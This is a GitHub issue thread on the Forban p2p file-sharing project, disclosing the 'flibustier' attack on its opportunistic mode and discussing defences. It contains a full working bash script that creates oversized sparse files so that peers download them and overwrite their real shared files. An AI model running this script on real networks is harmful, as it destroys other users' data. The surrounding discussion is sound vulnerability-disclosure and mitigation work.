adulau / Forban

Forban is a p2p application for link-local and local area networks. Forban works independently from the Internet and uses only the local area capabilities to announce, discover, search or share files. Forban relies on HTTP and it is "opportunistic".
http://www.foo.be/forban/
134 stars 24 forks source link

Overwrite attack against the opportunistic mode in Forban (flibustier attack) #28

Open adulau opened 11 years ago

adulau commented 11 years ago

Following a discussion with Krunch at OHM2013 about the attacks against the opportunistic mode in Forban, he came with a simple script using the Linux sparse file to always present files bigger than any nodes.


#!/bin/bash
set -eu

# flibustier - overwrite all the files shared over Forban
#
# This reads the Forban index files and create/extend
# all the files locally such that they are a bit larger than
# what is being shared by other nodes.
# Since Forban only looks at the file size to decide whether
# to download a file (bigger is better), this should overwrite
# everything that is being shared (at least for the instances
# running in opportunistic mode).
#
# Copyright © 2013 Krunch <adrien@kunysz.be>
# This work is free. You can redistribute it and/or modify it under the
# terms of the Do What The Fuck You Want To Public License, Version 2,
# as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.

# where Forban is running
forbandir='/usr/src/Forban'

sharedir="$forbandir/var/share/"
lootdir="$forbandir/var/loot/"

function debug {
    echo "$@"
}

# looking for $lootdir/$uuid/cache/forban/index
find "$lootdir" -mindepth 4 -maxdepth 4 -name index | while read index
do
    # reading stuff like this:
    #   file name,42
    rev $index | sed 's/,/ /' | while read size filename
    do
        size=$(echo $size | rev)
        filename="$(echo "$filename" | rev)"

        # i don't really want to think about what happens
        # if we also mess with the forban metadata
        if [[ "$filename" =~ ^forban/ ]]
        then
            continue
        fi

        debug "Advertised with size $size: $filename"

        localsize=$(stat -c '%s' "$sharedir/$filename" || true)
        if [ -n "$localsize" ] && [ "$localsize" -ge "$size" ]
        then
            continue
        fi

        # get the size in MiB, rounded down
        sizemb=$(((size / (1024*1024))))
        # bump to the next MiB
        sizemb=$(((sizemb + 1)))

        debug "Advertising with size ${sizemb}M"

        filedir="$(dirname "$filename")"
        if [ ! -d "$sharedir/$filedir" ]
        then
            mkdir -p "$sharedir/$filedir"
        fi
        dd "of=$sharedir/$filename" bs=1M seek=$sizemb count=0
    done
MaStr commented 11 years ago

Wow, that is interesting and really an issue. That would poison the opportunistic mode clients :( Did you already discuss possible solutions?

adulau commented 11 years ago

Yes we have many options but it's always a trade-off.

The first (and simple), if you don't trust all the nodes, it's to be in shared mode. I will add an option to choose the opportunistic mode for specific nodes. So like that, you can pick the nodes where you want to grab files from and discard the untrusted ones.

Another option is to separate the share directory between your local shared stuff and the recently acquired stuff via opportunistic mode. And then move these locally if the owner of the node acknowledge.

We discussed another thing regarding "consensus" building to discard such nodes but in any case, we would need to work on the authentication of the node. That's not an easy one if we want to keep the zero-configuration protocol. The idea would be to create a shared secret key (or signature) per "community".

I had many other requests/ideas from OHM2013 participants. I'll add these too.

MaStr commented 11 years ago

Yes, in every security option, u always have trade-off. :(

Another option is to separate the share directory between your local shared stuff and the recently acquired stuff via opportunistic mode. And then move these locally if the owner of the node acknowledge.

That would move away from a non-attended synchronization.

. The idea would be to create a shared secret key (or signature) per "community". Secret key and Shared-Key for Reading only it the concept BittorrentSync follows. You have one Key-which allows writing and one key which allows read-only access to you data.

looking forward to the other ideas/requests!!

makew0rld commented 5 years ago

Fundamentally, Forban seems to be a trust everyone model. Everyone can edit files and have them be accepted by others, no matter who created them in the first place. It seems to be supposed to be used in trusted environments, where you don't have to worry about hackers or bad actors. One small solution to the problem above is to use a versioned hash tree, which will allow files to be updated whether they get smaller or bigger. This is something I plan to implement in my fork. But still bad actors can make malicious edits and overwrite files, there's not a great way to solve that entirely, because of the trust everyone model.

Another option is to separate the share directory between your local shared stuff and the recently acquired stuff via opportunistic mode. And then move these locally if the owner of the node acknowledge.

This would be one partial solution, isn't this distinction already made with var/share and var/loot?